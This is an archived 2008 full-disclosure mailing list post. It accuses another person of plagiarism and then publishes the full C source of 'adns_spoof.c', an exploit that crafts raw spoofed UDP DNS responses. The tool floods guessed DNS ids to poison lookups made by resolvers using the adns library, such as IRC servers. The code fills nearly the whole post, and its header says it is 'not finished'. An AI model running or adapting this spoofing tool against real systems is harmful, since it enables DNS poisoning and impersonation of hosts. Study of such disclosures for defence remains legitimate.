lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Fri, 8 Aug 2008 18:43:57 +0100
From: "Jin Sei" <jinseiu@...il.com>
To: bugtraq@...urityfocus.com
Cc: cryptography@...zdowd.com, Dave Korn <dave.korn@...imi.com>,
	full-disclosure@...ts.grok.org.uk,
	OpenID List <general@...nid.net>, security@...nid.net
Subject: Re: OpenID/Debian PRNG/DNS Cache poisoning
	advisory

Note ripped code by ZMDA.

It was recently discovered that a 'member of the underground' released an
exploit, which exploits a vulnerability in the ADNS resolver.
Apparently, he didn't write this exploit, nor did he do much modification to
the exploit he leached.

This is the real exploit, written by sloth, you can find ZMDA's ripped
version on www.milw0rm.com

This is a warning to all lamers, who take credit for other people's
undisclosed exploits.

/* adns_spoof.c - sloth@...ninjas.com - August 2004
 *   - spoof dns on ircd's using the adns code
 *
 *   Dedicated to #loldongs @ efnet
 *     http://picdump.home.mindspring.com/dns/
 *     http://www.loldongs.com
 *     the comic about how dns works (or doesn't work)
 *
 *   - spoof dns on anything using the adns (asynchronous dns resolver) code
 *
 *   - The bug:
 *       - Static source port used by the adns code
 *       - Sequential DNS ids in request packets
 *
 *   - Initiate sequence to trigger a dns lookup by the adns resolver. Send
 *     the same range of spoofed DNS ids in a constant flood spoofed as the
 *     primary DNS server for the host. Even a local DNS request will take
 *     long enough to allow some amount of the spoofed DNS responses through
 *     before the primary DNS responds. Since the resolver does not cache
 *     results, the dns lookups can be triggered until the DNS id is
 *     incremented within the DNS id range being spoofed.
 *
 *   NOT FINISHED YET
 */

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>

#ifndef u8
  #define u8  unsigned char
#endif

#ifndef u16
  #define u16 unsigned short
#endif

#ifndef u32
  #define u32 unsigned long
#endif


struct dns_header {
  u16 id;
  u16 flags;
  u16 questions;
  u16 answer_rr;
  u16 auth_rr;
  u16 extra_rr;
} __attribute__((packed));

struct dns_data {
  u16 name;
  u16 type;
  u16 class;
  u16 ttlh;
  u16 ttl;
  u16 data_len; /* data len - sizeof(char *) */
  char *data;
  /* data */
} __attribute__((packed));

struct dns_packet {
  size_t len;
  u8  type;
  char *data;
  /* packet data */
};

struct dns_query {
  size_t len;
  char *data;
};

struct ip_header {
  u8  ihl:4,
      version:4;
  u8  tos;
  u16 tot_len;
  u16 id;
  u16 frag_off;
  u8  ttl;
  u8  protocol;
  u16 check;
  u32 saddr;
  u32 daddr;
};

struct udp_header {
  u16 source;
  u16 dest;
  u16 len;
  u16 check;
};

#define DNS_A   0x0001
#define DNS_PTR 0x000c

struct udp_packet {
  struct ip_header iph;
  struct udp_header udph;
};

void usage() {
  fprintf(stderr, "usage: ./adns_spoof <ircd ip> <ircd dns port> <ircd dns
ip> "
                  "<your ip> <spoof host> <dns id>\n");
  exit(-1);
}

void fatal(char *reason) {
  fprintf(stderr, "fatal: %s\n", reason);
  exit(-1);
}

unsigned short csum(unsigned short *addr, int len) {
  register int sum = 0;
  u_short answer = 0;
  register u_short *w = addr;
  register int nleft = len;

  while (nleft > 1)  {
    sum += *w++;
    nleft -= 2;
  }

  if (nleft == 1) {
    *(u_char *)(&answer) = *(u_char *)w ;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return(answer); /* return the checksum value. */
}

struct udp_packet *alloc_packet(size_t datalen) {
  struct udp_packet *packet;
  struct ip_header  *iph;
  struct udp_header *udph;

  if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
    fatal("error: allocating udp packet");

  iph  = &packet->iph;
  udph = &packet->udph;

  iph->ihl       = 5;
  iph->version   = 4;
  iph->tos       = 0;
  iph->tot_len   = sizeof(struct udp_packet) + datalen;
  iph->id        = htonl(0xbeef);
  iph->frag_off  = 0;
  iph->ttl       = 255;

  iph->protocol  = 17;

  udph->len      = htons(sizeof(struct udp_header) + datalen);

  return(packet);
}

void init_packet(long source, int sport, long dest, int port,
                 struct udp_packet *udp_packet,
                 struct dns_packet *dns_packet) {
  struct ip_header *iph;
  struct udp_header *udph;
  char *data;

  iph  = &udp_packet->iph;
  udph = &udp_packet->udph;

  iph->saddr      = source;
  iph->daddr      = dest;
  iph->check      = csum((unsigned short *)iph, sizeof(struct ip_header));

  udph->check  = 0;
  udph->source = htons(sport);
  udph->dest   = htons(port);

  data = (char *)udp_packet + sizeof(struct udp_packet);
  memcpy(data, &dns_packet->data, dns_packet->len);
}

char *dns_string_format(char *out, char *in) {
  int i, x;

  for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {
    if(in[i] == '.') {
      out[i] = x;
      x = -1;
    } else
      out[i] = in[i];
  }

  out[i] = x;

  return(out);
}

struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
                                    char *answer_data, int type) {
  struct dns_packet *dns_packet;
  struct dns_header *dns_header;
  struct dns_data *dns_data;
  char *query,
       *answer;
  size_t totlen,
         alen;

  if(type == DNS_A)
    alen = 4;
  else
    alen = strlen(answer_data);

  totlen = sizeof(struct dns_header) +
           qlen +
           sizeof(struct dns_data) - sizeof(char *) + alen +
           ((type == DNS_A) ? 0 : 2);

  if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +
                          sizeof(char *))) == NULL)
    fatal("failed alloc");

  dns_packet->len      = totlen;

  dns_header = (struct dns_header *) &dns_packet->data;
  query      =              (char *) &dns_packet->data +
                                     sizeof(struct dns_header);
  dns_data   =   (struct dns_data *) (query + qlen);
  answer     =              (char *) &dns_data->data +
                                     ((type == DNS_A) ? 0 : 1);


  dns_header->flags     = htons(0x8180);
  dns_header->questions = htons(1);
  dns_header->answer_rr = htons(1);
  dns_header->auth_rr   = htons(0);
  dns_header->extra_rr  = htons(0);


  memcpy(query, query_data, qlen);

  dns_data->name        = htons(0xc00c);
  dns_data->type        = htons(type);
  dns_data->class       = htons(1);
  dns_data->ttl         = htons(300);

  dns_data->data_len    = htons(alen + ((type == DNS_A) ? 0 : 1));

  if(type == DNS_A)
    memcpy(answer, &answer_data, 4);
  else
    dns_string_format(answer, answer_data);

  return(dns_packet);
}

struct dns_query *alloc_dns_query(char *query, int qtype) {
  struct dns_query *dns_query;
  size_t qlen;
  int i, x = 0;
  char *p;
  char *data;
  u16  *type,
       *class;

  qlen = 1 + strlen(query) + 1 + 2 + 2;

  if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) ==
NULL)
    fatal("fatal alloc\n");

  dns_query->len = qlen;

  data   = (char *) &dns_query->data + 1;
  type   =  (u16 *) (data + strlen(query) + 1);
  class  =  (u16 *) type + 1;

  dns_string_format(data, query);

  *type   = htons(qtype);
  *class  = htons(1);

  return(dns_query);
};

int send_packet(struct in_addr src, u16 sport,
                struct in_addr dst, u16 dport,
                struct udp_packet *udp_packet,
                struct dns_packet *dns_packet, u32 dns_id) {
  struct sockaddr_in sin;
  struct dns_header *dns_header;
  int s, olen;
unsigned char *p;
int i;

  dns_header     = (struct dns_header *) &dns_packet->data;
  dns_header->id = htons(dns_id);

  init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);

  sin.sin_family      = AF_INET;
  sin.sin_addr        = dst;
  sin.sin_port        = htons(sport);

  if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
    fprintf(stderr, "%s: ERROR send_packet() -> socket()\n",
inet_ntoa(dst));
    return(s);
  }

  if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
    fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");

  while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len,
0,
       (struct sockaddr *)&sin, sizeof(sin)) < 0) {

    if(errno == ENOBUFS)
      usleep(50);
    else {
      fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n",
inet_ntoa(dst), errno);
      close(s);
      return(-1);
    }

  }

  close(s);

}

void do_spoof(struct in_addr src, u16 sport,
              struct in_addr dst, u16 dport,
              struct in_addr me, char *answer, u16 dns_id) {
  struct udp_packet *udp_packet_A,
                    *udp_packet_PTR;
  struct dns_packet *dns_packet_A,
                    *dns_packet_PTR;
  struct dns_query  *dns_query_A,
                    *dns_query_PTR;
  char query[255];
  int i;

printf("dns_id = %d\n", dns_id);

  snprintf(query, sizeof(query) - 1,
           "%d.%d.%d.%d.in-addr.arpa",
           (me.s_addr >> 24),
           (me.s_addr >> 16) & 0xff,
           (me.s_addr >>  8) & 0xff,
           (me.s_addr      ) & 0xff);

  dns_query_A    = alloc_dns_query(answer, DNS_A);
  dns_packet_A   = alloc_dns_packet((char *)&dns_query_A->data,
                                    dns_query_A->len,
                                    (char *)me.s_addr, DNS_A);
  udp_packet_A   = alloc_packet(dns_packet_A->len);


  dns_query_PTR  = alloc_dns_query(query, DNS_PTR);
  dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
                                    dns_query_PTR->len, answer, DNS_PTR);
  udp_packet_PTR = alloc_packet(dns_packet_PTR->len);

  /* weee flood time */
  for(i = 0; ; i++) {
    send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id +
i);
    send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR,
dns_id + i);
    usleep(50);

    if(i > 3)
      i = 0;
  }
}

long resolve(char *host) {
  struct in_addr ip;
  struct hostent *he;

  if((ip.s_addr = inet_addr(host)) == -1) {
    if(!(he = gethostbyname(host)))
      return(-1);
    else
      memcpy(&ip.s_addr, he->h_addr, 4);
  }
  return(ip.s_addr);
}

int main(int argc, char *argv[]) {
  int i, dns_port, dns_id;
  struct in_addr ircd,
                 ircd_ns,
                 me;
  char *spoof_host;

  printf("###### adns_spoof1.c - sloth@...ninjas.com ######\n");

  if(argc < 6)
    usage();

  if((ircd.s_addr = resolve(argv[1])) == -1)
    fatal("ircd host invalid");

  dns_port = atoi(argv[2]);

  if((ircd_ns.s_addr = resolve(argv[3])) == -1)
    fatal("ircd dns host invalid");

  if((me.s_addr = resolve(argv[4])) == -1)
    fatal("my host invalid");

  spoof_host    = argv[5];
  dns_id        = atoi(argv[6]);

  do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);

}

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ